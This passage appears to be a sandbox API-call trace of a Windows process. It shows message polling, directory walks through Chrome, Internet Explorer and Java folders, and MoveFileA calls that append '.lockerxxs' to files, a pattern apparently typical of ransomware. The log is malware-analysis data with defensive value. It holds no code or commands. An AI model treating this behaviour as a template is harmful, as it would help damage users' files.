wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.749] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.749] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.750] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.750] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.750] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.750] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.750] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.750] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.751] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.751] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.751] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.751] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.751] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.751] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.751] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.752] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.752] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.752] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.752] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.752] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.753] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.753] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.753] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.753] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.753] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.753] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.754] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.754] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.754] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.754] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.754] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.754] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.754] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.755] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.755] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.755] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.755] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.756] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f60ae, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.768] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logo.png"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logo.png.lockerxxs" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logo.png.lockerxxs")) returned 1 [0076.772] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logocanary.png"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logocanary.png.lockerxxs" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logocanary.png.lockerxxs")) returned 1 [0076.776] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogo.png"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogo.png.lockerxxs" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogo.png.lockerxxs")) returned 1 [0076.779] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogocanary.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogocanary.png"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\smalllogocanary.png.lockerxxs" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\smalllogocanary.png.lockerxxs")) returned 1 [0076.781] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe70003e4, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.784] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d78b680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f70ce, cFileName=".", cAlternateFileName="")) returned 0x502698 [0076.784] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x4f7003, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0076.790] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x50158a, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.792] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\CrashReports\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502598 [0076.795] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0076.795] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0076.800] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9bb8508b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9bb8508b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x4ff56a, cFileName=".", cAlternateFileName="")) returned 0x502598 [0076.802] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xdbb7fbe0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbb7fbe0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0076.802] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0076.802] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.809] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76eb12e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501572, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.815] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\xusage.txt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt.lockerxxs" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\xusage.txt.lockerxxs")) returned 1 [0076.818] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501572, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.829] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501572, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.835] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7572f9a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f1282, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.841] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\applet\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501572, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.841] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501572, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.846] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501572, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.853] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\ffjcext.zip"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip.lockerxxs" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\ffjcext.zip.lockerxxs")) returned 1 [0076.854] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0069, dwReserved1=0x730065, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.858] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501572, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.863] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501572, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.867] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.869] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.869] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.873] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501572, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.878] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jvm.hprof.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jvm.hprof.txt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jvm.hprof.txt.lockerxxs" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jvm.hprof.txt.lockerxxs")) returned 1 [0076.880] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501572, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.885] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, 